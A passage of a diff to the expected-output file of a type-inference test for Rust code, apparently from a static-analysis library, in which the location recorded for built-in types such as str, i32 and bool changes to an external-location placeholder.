main.rs:183:5:184:14 | S2 | | main.rs:362:31:362:38 | thing_s2 | | main.rs:170:5:173:5 | MyThing | | main.rs:362:31:362:38 | thing_s2 | A | main.rs:183:5:184:14 | S2 | -| main.rs:363:18:363:23 | "{:?}\\n" | | file:///BUILTINS/types.rs:8:1:8:15 | str | +| main.rs:363:18:363:23 | "{:?}\\n" | | {EXTERNAL LOCATION} | str | | main.rs:363:26:363:26 | y | | main.rs:170:5:173:5 | MyThing | | main.rs:363:26:363:26 | y | A | main.rs:183:5:184:14 | S2 | | main.rs:363:26:363:28 | y.a | | main.rs:183:5:184:14 | S2 | @@ -440,14 +439,14 @@ inferType | main.rs:367:25:367:25 | a | | main.rs:175:5:179:5 | MyPair | | main.rs:367:25:367:25 | a | P1 | main.rs:181:5:182:14 | S1 | | main.rs:367:25:367:25 | a | P2 | main.rs:181:5:182:14 | S1 | -| main.rs:368:18:368:23 | "{:?}\\n" | | file:///BUILTINS/types.rs:8:1:8:15 | str | +| main.rs:368:18:368:23 | "{:?}\\n" | | {EXTERNAL LOCATION} | str | | main.rs:368:26:368:26 | x | | main.rs:181:5:182:14 | S1 | | main.rs:369:13:369:13 | y | | main.rs:181:5:182:14 | S1 | | main.rs:369:17:369:26 | get_snd(...) | | main.rs:181:5:182:14 | S1 | | main.rs:369:25:369:25 | a | | main.rs:175:5:179:5 | MyPair | | main.rs:369:25:369:25 | a | P1 | main.rs:181:5:182:14 | S1 | | main.rs:369:25:369:25 | a | P2 | main.rs:181:5:182:14 | S1 | -| main.rs:370:18:370:23 | "{:?}\\n" | | file:///BUILTINS/types.rs:8:1:8:15 | str | +| main.rs:370:18:370:23 | "{:?}\\n" | | {EXTERNAL LOCATION} | str | | main.rs:370:26:370:26 | y | | main.rs:181:5:182:14 | S1 | | main.rs:373:13:373:13 | b | | main.rs:175:5:179:5 | MyPair | | main.rs:373:13:373:13 | b | P1 | main.rs:183:5:184:14 | S2 | @@ -462,14 +461,14 @@ inferType | main.rs:374:25:374:25 | b | | main.rs:175:5:179:5 | MyPair | | main.rs:374:25:374:25 | b | P1 | main.rs:183:5:184:14 | S2 | | main.rs:374:25:374:25 | b | P2 | main.rs:181:5:182:14 | S1 | -| main.rs:375:18:375:23 | "{:?}\\n" | | file:///BUILTINS/types.rs:8:1:8:15 | str | +| main.rs:375:18:375:23 | "{:?}\\n" | | {EXTERNAL LOCATION} | str | | main.rs:375:26:375:26 | x | | main.rs:181:5:182:14 | S1 | | main.rs:376:13:376:13 | y | | main.rs:183:5:184:14 | S2 | | main.rs:376:17:376:26 | get_snd(...) | | main.rs:183:5:184:14 | S2 | | main.rs:376:25:376:25 | b | | main.rs:175:5:179:5 | MyPair | | main.rs:376:25:376:25 | b | P1 | main.rs:183:5:184:14 | S2 | | main.rs:376:25:376:25 | b | P2 | main.rs:181:5:182:14 | S1 | -| main.rs:377:18:377:23 | "{:?}\\n" | | file:///BUILTINS/types.rs:8:1:8:15 | str | +| main.rs:377:18:377:23 | "{:?}\\n" | | {EXTERNAL LOCATION} | str | | main.rs:377:26:377:26 | y | | main.rs:183:5:184:14 | S2 | | main.rs:379:13:379:13 | c | | main.rs:175:5:179:5 | MyPair | | main.rs:379:13:379:13 | c | P1 | main.rs:185:5:186:14 | S3 | @@ -510,11 +509,11 @@ inferType | main.rs:398:34:398:35 | s1 | | main.rs:392:5:393:14 | S1 | | main.rs:403:26:403:29 | SelfParam | | main.rs:392:5:393:14 | S1 | | main.rs:403:38:405:9 | { ... } | | main.rs:392:5:393:14 | S1 | -| main.rs:404:20:404:31 | "not called" | | file:///BUILTINS/types.rs:8:1:8:15 | str | +| main.rs:404:20:404:31 | "not called" | | {EXTERNAL LOCATION} | str | | main.rs:408:28:408:31 | SelfParam | | main.rs:392:5:393:14 | S1 | | main.rs:408:34:408:35 | s1 | | main.rs:392:5:393:14 | S1 | | main.rs:408:48:410:9 | { ... } | | main.rs:392:5:393:14 | S1 | -| main.rs:409:20:409:31 | "not called" | | file:///BUILTINS/types.rs:8:1:8:15 | str | +| main.rs:409:20:409:31 | "not called" | | {EXTERNAL LOCATION} | str | | main.rs:415:26:415:29 | SelfParam | | main.rs:392:5:393:14 | S1 | | main.rs:415:38:417:9 | { ... } | | main.rs:392:5:393:14 | S1 | | main.rs:416:13:416:16 | self | | main.rs:392:5:393:14 | S1 | @@ -523,10 +522,10 @@ inferType | main.rs:421:13:421:16 | self | | main.rs:392:5:393:14 | S1 | | main.rs:426:13:426:13 | x | | main.rs:392:5:393:14 | S1 | | main.rs:426:17:426:18 | S1 | | main.rs:392:5:393:14 | S1 | -| main.rs:427:18:427:23 | "{:?}\\n" | | file:///BUILTINS/types.rs:8:1:8:15 | str | +| main.rs:427:18:427:23 | "{:?}\\n" | | {EXTERNAL LOCATION} | str | | main.rs:427:26:427:26 | x | | main.rs:392:5:393:14 | S1 | | main.rs:427:26:427:42 | x.common_method() | | main.rs:392:5:393:14 | S1 | -| main.rs:428:18:428:23 | "{:?}\\n" | | file:///BUILTINS/types.rs:8:1:8:15 | str | +| main.rs:428:18:428:23 | "{:?}\\n" | | {EXTERNAL LOCATION} | str | | main.rs:428:26:428:26 | x | | main.rs:392:5:393:14 | S1 | | main.rs:428:26:428:44 | x.common_method_2() | | main.rs:392:5:393:14 | S1 | | main.rs:445:19:445:22 | SelfParam | | main.rs:443:5:446:5 | Self [trait FirstTrait] | @@ -535,25 +534,25 @@ inferType | main.rs:455:13:455:14 | s1 | | main.rs:453:35:453:42 | I | | main.rs:455:18:455:18 | x | | main.rs:453:45:453:61 | T | | main.rs:455:18:455:27 | x.method() | | main.rs:453:35:453:42 | I | -| main.rs:456:18:456:23 | "{:?}\\n" | | file:///BUILTINS/types.rs:8:1:8:15 | str | +| main.rs:456:18:456:23 | "{:?}\\n" | | {EXTERNAL LOCATION} | str | | main.rs:456:26:456:27 | s1 | | main.rs:453:35:453:42 | I | | main.rs:459:65:459:65 | x | | main.rs:459:46:459:62 | T | | main.rs:461:13:461:14 | s2 | | main.rs:459:36:459:43 | I | | main.rs:461:18:461:18 | x | | main.rs:459:46:459:62 | T | | main.rs:461:18:461:27 | x.method() | | main.rs:459:36:459:43 | I | -| main.rs:462:18:462:23 | "{:?}\\n" | | file:///BUILTINS/types.rs:8:1:8:15 | str | +| main.rs:462:18:462:23 | "{:?}\\n" | | {EXTERNAL LOCATION} | str | | main.rs:462:26:462:27 | s2 | | main.rs:459:36:459:43 | I | | main.rs:465:49:465:49 | x | | main.rs:465:30:465:46 | T | | main.rs:466:13:466:13 | s | | main.rs:435:5:436:14 | S1 | | main.rs:466:17:466:17 | x | | main.rs:465:30:465:46 | T | | main.rs:466:17:466:26 | x.method() | | main.rs:435:5:436:14 | S1 | -| main.rs:467:18:467:23 | "{:?}\\n" | | file:///BUILTINS/types.rs:8:1:8:15 | str | +| main.rs:467:18:467:23 | "{:?}\\n" | | {EXTERNAL LOCATION} | str | | main.rs:467:26:467:26 | s | | main.rs:435:5:436:14 | S1 | | main.rs:470:53:470:53 | x | | main.rs:470:34:470:50 | T | | main.rs:471:13:471:13 | s | | main.rs:435:5:436:14 | S1 | | main.rs:471:17:471:17 | x | | main.rs:470:34:470:50 | T | | main.rs:471:17:471:26 | x.method() | | main.rs:435:5:436:14 | S1 | -| main.rs:472:18:472:23 | "{:?}\\n" | | file:///BUILTINS/types.rs:8:1:8:15 | str | +| main.rs:472:18:472:23 | "{:?}\\n" | | {EXTERNAL LOCATION} | str | | main.rs:472:26:472:26 | s | | main.rs:435:5:436:14 | S1 | | main.rs:476:16:476:19 | SelfParam | | main.rs:475:5:479:5 | Self [trait Pair] | | main.rs:478:16:478:19 | SelfParam | | main.rs:475:5:479:5 | Self [trait Pair] | @@ -565,7 +564,7 @@ inferType | main.rs:484:13:484:14 | s2 | | main.rs:438:5:439:14 | S2 | | main.rs:484:18:484:18 | y | | main.rs:481:41:481:55 | T | | main.rs:484:18:484:24 | y.snd() | | main.rs:438:5:439:14 | S2 | -| main.rs:485:18:485:29 | "{:?}, {:?}\\n" | | file:///BUILTINS/types.rs:8:1:8:15 | str | +| main.rs:485:18:485:29 | "{:?}, {:?}\\n" | | {EXTERNAL LOCATION} | str | | main.rs:485:32:485:33 | s1 | | main.rs:435:5:436:14 | S1 | | main.rs:485:36:485:37 | s2 | | main.rs:438:5:439:14 | S2 | | main.rs:488:69:488:69 | x | | main.rs:488:52:488:66 | T | @@ -576,7 +575,7 @@ inferType | main.rs:491:13:491:14 | s2 | | main.rs:488:41:488:49 | T2 | | main.rs:491:18:491:18 | y | | main.rs:488:52:488:66 | T | | main.rs:491:18:491:24 | y.snd() | | main.rs:488:41:488:49 | T2 | -| main.rs:492:18:492:29 | "{:?}, {:?}\\n" | | file:///BUILTINS/types.rs:8:1:8:15 | str | +| main.rs:492:18:492:29 | "{:?}, {:?}\\n" | | {EXTERNAL LOCATION} | str | | main.rs:492:32:492:33 | s1 | | main.rs:435:5:436:14 | S1 | | main.rs:492:36:492:37 | s2 | | main.rs:488:41:488:49 | T2 | | main.rs:508:15:508:18 | SelfParam | | main.rs:507:5:516:5 | Self [trait MyTrait] | @@ -611,11 +610,11 @@ inferType | main.rs:536:17:536:33 | MyThing {...} | | main.rs:497:5:500:5 | MyThing | | main.rs:536:17:536:33 | MyThing {...} | T | main.rs:504:5:505:14 | S2 | | main.rs:536:30:536:31 | S2 | | main.rs:504:5:505:14 | S2 | -| main.rs:538:18:538:23 | "{:?}\\n" | | file:///BUILTINS/types.rs:8:1:8:15 | str | +| main.rs:538:18:538:23 | "{:?}\\n" | | {EXTERNAL LOCATION} | str | | main.rs:538:26:538:26 | x | | main.rs:497:5:500:5 | MyThing | | main.rs:538:26:538:26 | x | T | main.rs:502:5:503:14 | S1 | | main.rs:538:26:538:31 | x.m1() | | main.rs:502:5:503:14 | S1 | -| main.rs:539:18:539:23 | "{:?}\\n" | | file:///BUILTINS/types.rs:8:1:8:15 | str | +| main.rs:539:18:539:23 | "{:?}\\n" | | {EXTERNAL LOCATION} | str | | main.rs:539:26:539:26 | y | | main.rs:497:5:500:5 | MyThing | | main.rs:539:26:539:26 | y | T | main.rs:504:5:505:14 | S2 | | main.rs:539:26:539:31 | y.m1() | | main.rs:504:5:505:14 | S2 | @@ -629,11 +628,11 @@ inferType | main.rs:542:17:542:33 | MyThing {...} | | main.rs:497:5:500:5 | MyThing | | main.rs:542:17:542:33 | MyThing {...} | T | main.rs:504:5:505:14 | S2 | | main.rs:542:30:542:31 | S2 | | main.rs:504:5:505:14 | S2 | -| main.rs:544:18:544:23 | "{:?}\\n" | | file:///BUILTINS/types.rs:8:1:8:15 | str | +| main.rs:544:18:544:23 | "{:?}\\n" | | {EXTERNAL LOCATION} | str | | main.rs:544:26:544:26 | x | | main.rs:497:5:500:5 | MyThing | | main.rs:544:26:544:26 | x | T | main.rs:502:5:503:14 | S1 | | main.rs:544:26:544:31 | x.m2() | | main.rs:502:5:503:14 | S1 | -| main.rs:545:18:545:23 | "{:?}\\n" | | file:///BUILTINS/types.rs:8:1:8:15 | str | +| main.rs:545:18:545:23 | "{:?}\\n" | | {EXTERNAL LOCATION} | str | | main.rs:545:26:545:26 | y | | main.rs:497:5:500:5 | MyThing | | main.rs:545:26:545:26 | y | T | main.rs:504:5:505:14 | S2 | | main.rs:545:26:545:31 | y.m2() | | main.rs:504:5:505:14 | S2 | @@ -647,11 +646,11 @@ inferType | main.rs:548:18:548:34 | MyThing {...} | | main.rs:497:5:500:5 | MyThing | | main.rs:548:18:548:34 | MyThing {...} | T | main.rs:504:5:505:14 | S2 | | main.rs:548:31:548:32 | S2 | | main.rs:504:5:505:14 | S2 | -| main.rs:550:18:550:23 | "{:?}\\n" | | file:///BUILTINS/types.rs:8:1:8:15 | str | +| main.rs:550:18:550:23 | "{:?}\\n" | | {EXTERNAL LOCATION} | str | | main.rs:550:26:550:42 | call_trait_m1(...) | | main.rs:502:5:503:14 | S1 | | main.rs:550:40:550:41 | x2 | | main.rs:497:5:500:5 | MyThing | | main.rs:550:40:550:41 | x2 | T | main.rs:502:5:503:14 | S1 | -| main.rs:551:18:551:23 | "{:?}\\n" | | file:///BUILTINS/types.rs:8:1:8:15 | str | +| main.rs:551:18:551:23 | "{:?}\\n" | | {EXTERNAL LOCATION} | str | | main.rs:551:26:551:42 | call_trait_m1(...) | | main.rs:504:5:505:14 | S2 | | main.rs:551:40:551:41 | y2 | | main.rs:497:5:500:5 | MyThing | | main.rs:551:40:551:41 | y2 | T | main.rs:504:5:505:14 | S2 | @@ -678,14 +677,14 @@ inferType | main.rs:560:37:560:38 | x3 | | main.rs:497:5:500:5 | MyThing | | main.rs:560:37:560:38 | x3 | T | main.rs:497:5:500:5 | MyThing | | main.rs:560:37:560:38 | x3 | T.T | main.rs:502:5:503:14 | S1 | -| main.rs:561:18:561:23 | "{:?}\\n" | | file:///BUILTINS/types.rs:8:1:8:15 | str | +| main.rs:561:18:561:23 | "{:?}\\n" | | {EXTERNAL LOCATION} | str | | main.rs:561:26:561:26 | a | | main.rs:502:5:503:14 | S1 | | main.rs:562:13:562:13 | b | | main.rs:504:5:505:14 | S2 | | main.rs:562:17:562:39 | call_trait_thing_m1(...) | | main.rs:504:5:505:14 | S2 | | main.rs:562:37:562:38 | y3 | | main.rs:497:5:500:5 | MyThing | | main.rs:562:37:562:38 | y3 | T | main.rs:497:5:500:5 | MyThing | | main.rs:562:37:562:38 | y3 | T.T | main.rs:504:5:505:14 | S2 | -| main.rs:563:18:563:23 | "{:?}\\n" | | file:///BUILTINS/types.rs:8:1:8:15 | str | +| main.rs:563:18:563:23 | "{:?}\\n" | | {EXTERNAL LOCATION} | str | | main.rs:563:26:563:26 | b | | main.rs:504:5:505:14 | S2 | | main.rs:574:19:574:22 | SelfParam | | main.rs:568:5:571:5 | Wrapper | | main.rs:574:19:574:22 | SelfParam | A | main.rs:573:10:573:10 | A | @@ -759,7 +758,7 @@ inferType | main.rs:681:13:681:14 | S2 | | main.rs:622:5:623:14 | S2 | | main.rs:686:13:686:14 | x1 | | main.rs:619:5:620:13 | S | | main.rs:686:18:686:18 | S | | main.rs:619:5:620:13 | S | -| main.rs:688:18:688:23 | "{:?}\\n" | | file:///BUILTINS/types.rs:8:1:8:15 | str | +| main.rs:688:18:688:23 | "{:?}\\n" | | {EXTERNAL LOCATION} | str | | main.rs:688:26:688:27 | x1 | | main.rs:619:5:620:13 | S | | main.rs:688:26:688:32 | x1.m1() | | main.rs:625:5:626:14 | AT | | main.rs:690:13:690:14 | x2 | | main.rs:619:5:620:13 | S | @@ -767,31 +766,31 @@ inferType | main.rs:692:13:692:13 | y | | main.rs:625:5:626:14 | AT | | main.rs:692:17:692:18 | x2 | | main.rs:619:5:620:13 | S | | main.rs:692:17:692:23 | x2.m2() | | main.rs:625:5:626:14 | AT | -| main.rs:693:18:693:23 | "{:?}\\n" | | file:///BUILTINS/types.rs:8:1:8:15 | str | +| main.rs:693:18:693:23 | "{:?}\\n" | | {EXTERNAL LOCATION} | str | | main.rs:693:26:693:26 | y | | main.rs:625:5:626:14 | AT | | main.rs:695:13:695:14 | x3 | | main.rs:619:5:620:13 | S | | main.rs:695:18:695:18 | S | | main.rs:619:5:620:13 | S | -| main.rs:697:18:697:23 | "{:?}\\n" | | file:///BUILTINS/types.rs:8:1:8:15 | str | +| main.rs:697:18:697:23 | "{:?}\\n" | | {EXTERNAL LOCATION} | str | | main.rs:697:26:697:27 | x3 | | main.rs:619:5:620:13 | S | | main.rs:697:26:697:34 | x3.put(...) | | main.rs:568:5:571:5 | Wrapper | -| main.rs:697:26:697:34 | x3.put(...) | A | file:///BUILTINS/types.rs:12:1:12:15 | i32 | -| main.rs:697:26:697:43 | ... .unwrap() | | file:///BUILTINS/types.rs:12:1:12:15 | i32 | -| main.rs:697:33:697:33 | 1 | | file:///BUILTINS/types.rs:12:1:12:15 | i32 | -| main.rs:700:18:700:23 | "{:?}\\n" | | file:///BUILTINS/types.rs:8:1:8:15 | str | +| main.rs:697:26:697:34 | x3.put(...) | A | {EXTERNAL LOCATION} | i32 | +| main.rs:697:26:697:43 | ... .unwrap() | | {EXTERNAL LOCATION} | i32 | +| main.rs:697:33:697:33 | 1 | | {EXTERNAL LOCATION} | i32 | +| main.rs:700:18:700:23 | "{:?}\\n" | | {EXTERNAL LOCATION} | str | | main.rs:700:26:700:27 | x3 | | main.rs:619:5:620:13 | S | -| main.rs:700:36:700:36 | 2 | | file:///BUILTINS/types.rs:12:1:12:15 | i32 | -| main.rs:700:39:700:39 | 3 | | file:///BUILTINS/types.rs:12:1:12:15 | i32 | +| main.rs:700:36:700:36 | 2 | | {EXTERNAL LOCATION} | i32 | +| main.rs:700:39:700:39 | 3 | | {EXTERNAL LOCATION} | i32 | | main.rs:702:20:702:20 | S | | main.rs:619:5:620:13 | S | -| main.rs:703:18:703:23 | "{:?}\\n" | | file:///BUILTINS/types.rs:8:1:8:15 | str | +| main.rs:703:18:703:23 | "{:?}\\n" | | {EXTERNAL LOCATION} | str | | main.rs:705:13:705:14 | x5 | | main.rs:622:5:623:14 | S2 | | main.rs:705:18:705:19 | S2 | | main.rs:622:5:623:14 | S2 | -| main.rs:706:18:706:23 | "{:?}\\n" | | file:///BUILTINS/types.rs:8:1:8:15 | str | +| main.rs:706:18:706:23 | "{:?}\\n" | | {EXTERNAL LOCATION} | str | | main.rs:706:26:706:27 | x5 | | main.rs:622:5:623:14 | S2 | | main.rs:706:26:706:32 | x5.m1() | | main.rs:568:5:571:5 | Wrapper | | main.rs:706:26:706:32 | x5.m1() | A | main.rs:622:5:623:14 | S2 | | main.rs:707:13:707:14 | x6 | | main.rs:622:5:623:14 | S2 | | main.rs:707:18:707:19 | S2 | | main.rs:622:5:623:14 | S2 | -| main.rs:708:18:708:23 | "{:?}\\n" | | file:///BUILTINS/types.rs:8:1:8:15 | str | +| main.rs:708:18:708:23 | "{:?}\\n" | | {EXTERNAL LOCATION} | str | | main.rs:708:26:708:27 | x6 | | main.rs:622:5:623:14 | S2 | | main.rs:708:26:708:32 | x6.m2() | | main.rs:568:5:571:5 | Wrapper | | main.rs:708:26:708:32 | x6.m2() | A | main.rs:622:5:623:14 | S2 | @@ -824,11 +823,11 @@ inferType | main.rs:739:17:739:36 | ...::C2 {...} | | main.rs:717:5:721:5 | MyEnum | | main.rs:739:17:739:36 | ...::C2 {...} | A | main.rs:725:5:726:14 | S2 | | main.rs:739:33:739:34 | S2 | | main.rs:725:5:726:14 | S2 | -| main.rs:741:18:741:23 | "{:?}\\n" | | file:///BUILTINS/types.rs:8:1:8:15 | str | +| main.rs:741:18:741:23 | "{:?}\\n" | | {EXTERNAL LOCATION} | str | | main.rs:741:26:741:26 | x | | main.rs:717:5:721:5 | MyEnum | | main.rs:741:26:741:26 | x | A | main.rs:723:5:724:14 | S1 | | main.rs:741:26:741:31 | x.m1() | | main.rs:723:5:724:14 | S1 | -| main.rs:742:18:742:23 | "{:?}\\n" | | file:///BUILTINS/types.rs:8:1:8:15 | str | +| main.rs:742:18:742:23 | "{:?}\\n" | | {EXTERNAL LOCATION} | str | | main.rs:742:26:742:26 | y | | main.rs:717:5:721:5 | MyEnum | | main.rs:742:26:742:26 | y | A | main.rs:725:5:726:14 | S2 | | main.rs:742:26:742:31 | y.m1() | | main.rs:725:5:726:14 | S2 | @@ -836,9 +835,9 @@ inferType | main.rs:769:15:769:18 | SelfParam | | main.rs:767:5:779:5 | Self [trait MyTrait2] | | main.rs:772:9:778:9 | { ... } | | main.rs:767:20:767:22 | Tr2 | | main.rs:773:13:777:13 | if ... {...} else {...} | | main.rs:767:20:767:22 | Tr2 | -| main.rs:773:16:773:16 | 3 | | file:///BUILTINS/types.rs:12:1:12:15 | i32 | -| main.rs:773:16:773:20 | ... > ... | | file:///BUILTINS/types.rs:3:1:5:16 | bool | -| main.rs:773:20:773:20 | 2 | | file:///BUILTINS/types.rs:12:1:12:15 | i32 | +| main.rs:773:16:773:16 | 3 | | {EXTERNAL LOCATION} | i32 | +| main.rs:773:16:773:20 | ... > ... | | {EXTERNAL LOCATION} | bool | +| main.rs:773:20:773:20 | 2 | | {EXTERNAL LOCATION} | i32 | | main.rs:773:22:775:13 | { ... } | | main.rs:767:20:767:22 | Tr2 | | main.rs:774:17:774:20 | self | | main.rs:767:5:779:5 | Self [trait MyTrait2] | | main.rs:774:17:774:25 | self.m1() | | main.rs:767:20:767:22 | Tr2 | @@ -848,9 +847,9 @@ inferType | main.rs:783:15:783:18 | SelfParam | | main.rs:781:5:793:5 | Self [trait MyTrait3] | | main.rs:786:9:792:9 | { ... } | | main.rs:781:20:781:22 | Tr3 | | main.rs:787:13:791:13 | if ... {...} else {...} | | main.rs:781:20:781:22 | Tr3 | -| main.rs:787:16:787:16 | 3 | | file:///BUILTINS/types.rs:12:1:12:15 | i32 | -| main.rs:787:16:787:20 | ... > ... | | file:///BUILTINS/types.rs:3:1:5:16 | bool | -| main.rs:787:20:787:20 | 2 | | file:///BUILTINS/types.rs:12:1:12:15 | i32 | +| main.rs:787:16:787:16 | 3 | | {EXTERNAL LOCATION} | i32 | +| main.rs:787:16:787:20 | ... > ... | | {EXTERNAL LOCATION} | bool | +| main.rs:787:20:787:20 | 2 | | {EXTERNAL LOCATION} | i32 | | main.rs:787:22:789:13 | { ... } | | main.rs:781:20:781:22 | Tr3 | | main.rs:788:17:788:20 | self | | main.rs:781:5:793:5 | Self [trait MyTrait3] | | main.rs:788:17:788:25 | self.m2() | | main.rs:747:5:750:5 | MyThing | @@ -886,7 +885,7 @@ inferType | main.rs:821:17:821:17 | x | | main.rs:819:39:819:53 | T | | main.rs:821:17:821:22 | x.m1() | | main.rs:747:5:750:5 | MyThing | | main.rs:821:17:821:22 | x.m1() | A | main.rs:757:5:758:14 | S1 | -| main.rs:822:18:822:23 | "{:?}\\n" | | file:///BUILTINS/types.rs:8:1:8:15 | str | +| main.rs:822:18:822:23 | "{:?}\\n" | | {EXTERNAL LOCATION} | str | | main.rs:822:26:822:26 | a | | main.rs:747:5:750:5 | MyThing | | main.rs:822:26:822:26 | a | A | main.rs:757:5:758:14 | S1 | | main.rs:826:13:826:13 | x | | main.rs:747:5:750:5 | MyThing | @@ -899,11 +898,11 @@ inferType | main.rs:827:17:827:33 | MyThing {...} | | main.rs:747:5:750:5 | MyThing | | main.rs:827:17:827:33 | MyThing {...} | A | main.rs:759:5:760:14 | S2 | | main.rs:827:30:827:31 | S2 | | main.rs:759:5:760:14 | S2 | -| main.rs:829:18:829:23 | "{:?}\\n" | | file:///BUILTINS/types.rs:8:1:8:15 | str | +| main.rs:829:18:829:23 | "{:?}\\n" | | {EXTERNAL LOCATION} | str | | main.rs:829:26:829:26 | x | | main.rs:747:5:750:5 | MyThing | | main.rs:829:26:829:26 | x | A | main.rs:757:5:758:14 | S1 | | main.rs:829:26:829:31 | x.m1() | | main.rs:757:5:758:14 | S1 | -| main.rs:830:18:830:23 | "{:?}\\n" | | file:///BUILTINS/types.rs:8:1:8:15 | str | +| main.rs:830:18:830:23 | "{:?}\\n" | | {EXTERNAL LOCATION} | str | | main.rs:830:26:830:26 | y | | main.rs:747:5:750:5 | MyThing | | main.rs:830:26:830:26 | y | A | main.rs:759:5:760:14 | S2 | | main.rs:830:26:830:31 | y.m1() | | main.rs:759:5:760:14 | S2 | @@ -917,11 +916,11 @@ inferType | main.rs:833:17:833:33 | MyThing {...} | | main.rs:747:5:750:5 | MyThing | | main.rs:833:17:833:33 | MyThing {...} | A | main.rs:759:5:760:14 | S2 | | main.rs:833:30:833:31 | S2 | | main.rs:759:5:760:14 | S2 | -| main.rs:835:18:835:23 | "{:?}\\n" | | file:///BUILTINS/types.rs:8:1:8:15 | str | +| main.rs:835:18:835:23 | "{:?}\\n" | | {EXTERNAL LOCATION} | str | | main.rs:835:26:835:26 | x | | main.rs:747:5:750:5 | MyThing | | main.rs:835:26:835:26 | x | A | main.rs:757:5:758:14 | S1 | | main.rs:835:26:835:31 | x.m2() | | main.rs:757:5:758:14 | S1 | -| main.rs:836:18:836:23 | "{:?}\\n" | | file:///BUILTINS/types.rs:8:1:8:15 | str | +| main.rs:836:18:836:23 | "{:?}\\n" | | {EXTERNAL LOCATION} | str | | main.rs:836:26:836:26 | y | | main.rs:747:5:750:5 | MyThing | | main.rs:836:26:836:26 | y | A | main.rs:759:5:760:14 | S2 | | main.rs:836:26:836:31 | y.m2() | | main.rs:759:5:760:14 | S2 | @@ -935,11 +934,11 @@ inferType | main.rs:839:17:839:34 | MyThing2 {...} | | main.rs:752:5:755:5 | MyThing2 | | main.rs:839:17:839:34 | MyThing2 {...} | A | main.rs:759:5:760:14 | S2 | | main.rs:839:31:839:32 | S2 | | main.rs:759:5:760:14 | S2 | -| main.rs:841:18:841:23 | "{:?}\\n" | | file:///BUILTINS/types.rs:8:1:8:15 | str | +| main.rs:841:18:841:23 | "{:?}\\n" | | {EXTERNAL LOCATION} | str | | main.rs:841:26:841:26 | x | | main.rs:752:5:755:5 | MyThing2 | | main.rs:841:26:841:26 | x | A | main.rs:757:5:758:14 | S1 | | main.rs:841:26:841:31 | x.m3() | | main.rs:757:5:758:14 | S1 | -| main.rs:842:18:842:23 | "{:?}\\n" | | file:///BUILTINS/types.rs:8:1:8:15 | str | +| main.rs:842:18:842:23 | "{:?}\\n" | | {EXTERNAL LOCATION} | str | | main.rs:842:26:842:26 | y | | main.rs:752:5:755:5 | MyThing2 | | main.rs:842:26:842:26 | y | A | main.rs:759:5:760:14 | S2 | | main.rs:842:26:842:31 | y.m3() | | main.rs:759:5:760:14 | S2 | @@ -978,7 +977,7 @@ inferType | main.rs:880:9:880:16 | x.into() | | main.rs:876:17:876:18 | T2 | | main.rs:884:13:884:13 | x | | main.rs:856:5:857:14 | S1 | | main.rs:884:17:884:18 | S1 | | main.rs:856:5:857:14 | S1 | -| main.rs:885:18:885:23 | "{:?}\\n" | | file:///BUILTINS/types.rs:8:1:8:15 | str | +| main.rs:885:18:885:23 | "{:?}\\n" | | {EXTERNAL LOCATION} | str | | main.rs:885:26:885:31 | id(...) | | file://:0:0:0:0 | & | | main.rs:885:26:885:31 | id(...) | &T | main.rs:856:5:857:14 | S1 | | main.rs:885:29:885:30 | &x | | file://:0:0:0:0 | & | @@ -986,7 +985,7 @@ inferType | main.rs:885:30:885:30 | x | | main.rs:856:5:857:14 | S1 | | main.rs:887:13:887:13 | x | | main.rs:856:5:857:14 | S1 | | main.rs:887:17:887:18 | S1 | | main.rs:856:5:857:14 | S1 | -| main.rs:888:18:888:23 | "{:?}\\n" | | file:///BUILTINS/types.rs:8:1:8:15 | str | +| main.rs:888:18:888:23 | "{:?}\\n" | | {EXTERNAL LOCATION} | str | | main.rs:888:26:888:37 | id::<...>(...) | | file://:0:0:0:0 | & | | main.rs:888:26:888:37 | id::<...>(...) | &T | main.rs:856:5:857:14 | S1 | | main.rs:888:35:888:36 | &x | | file://:0:0:0:0 | & | @@ -994,7 +993,7 @@ inferType | main.rs:888:36:888:36 | x | | main.rs:856:5:857:14 | S1 | | main.rs:890:13:890:13 | x | | main.rs:856:5:857:14 | S1 | | main.rs:890:17:890:18 | S1 | | main.rs:856:5:857:14 | S1 | -| main.rs:891:18:891:23 | "{:?}\\n" | | file:///BUILTINS/types.rs:8:1:8:15 | str | +| main.rs:891:18:891:23 | "{:?}\\n" | | {EXTERNAL LOCATION} | str | | main.rs:891:26:891:44 | id::<...>(...) | | file://:0:0:0:0 | & | | main.rs:891:26:891:44 | id::<...>(...) | &T | main.rs:856:5:857:14 | S1 | | main.rs:891:42:891:43 | &x | | file://:0:0:0:0 | & | @@ -1018,9 +1017,9 @@ inferType | main.rs:912:19:912:22 | self | Fst | main.rs:910:10:910:12 | Fst | | main.rs:912:19:912:22 | self | Snd | main.rs:910:15:910:17 | Snd | | main.rs:913:43:913:82 | MacroExpr | | main.rs:910:15:910:17 | Snd | -| main.rs:913:50:913:81 | "PairNone has no second elemen... | | file:///BUILTINS/types.rs:8:1:8:15 | str | +| main.rs:913:50:913:81 | "PairNone has no second elemen... | | {EXTERNAL LOCATION} | str | | main.rs:914:43:914:81 | MacroExpr | | main.rs:910:15:910:17 | Snd | -| main.rs:914:50:914:80 | "PairFst has no second element... | | file:///BUILTINS/types.rs:8:1:8:15 | str | +| main.rs:914:50:914:80 | "PairFst has no second element... | | {EXTERNAL LOCATION} | str | | main.rs:915:37:915:39 | snd | | main.rs:910:15:910:17 | Snd | | main.rs:915:45:915:47 | snd | | main.rs:910:15:910:17 | Snd | | main.rs:916:41:916:43 | snd | | main.rs:910:15:910:17 | Snd | @@ -1040,7 +1039,7 @@ inferType | main.rs:943:17:943:29 | t.unwrapSnd() | Fst | main.rs:924:5:925:14 | S2 | | main.rs:943:17:943:29 | t.unwrapSnd() | Snd | main.rs:927:5:928:14 | S3 | | main.rs:943:17:943:41 | ... .unwrapSnd() | | main.rs:927:5:928:14 | S3 | -| main.rs:944:18:944:23 | "{:?}\\n" | | file:///BUILTINS/types.rs:8:1:8:15 | str | +| main.rs:944:18:944:23 | "{:?}\\n" | | {EXTERNAL LOCATION} | str | | main.rs:944:26:944:26 | x | | main.rs:927:5:928:14 | S3 | | main.rs:949:13:949:14 | p1 | | main.rs:902:5:908:5 | PairOption | | main.rs:949:13:949:14 | p1 | Fst | main.rs:921:5:922:14 | S1 | @@ -1050,7 +1049,7 @@ inferType | main.rs:949:26:949:53 | ...::PairBoth(...) | Snd | main.rs:924:5:925:14 | S2 | | main.rs:949:47:949:48 | S1 | | main.rs:921:5:922:14 | S1 | | main.rs:949:51:949:52 | S2 | | main.rs:924:5:925:14 | S2 | -| main.rs:950:18:950:23 | "{:?}\\n" | | file:///BUILTINS/types.rs:8:1:8:15 | str | +| 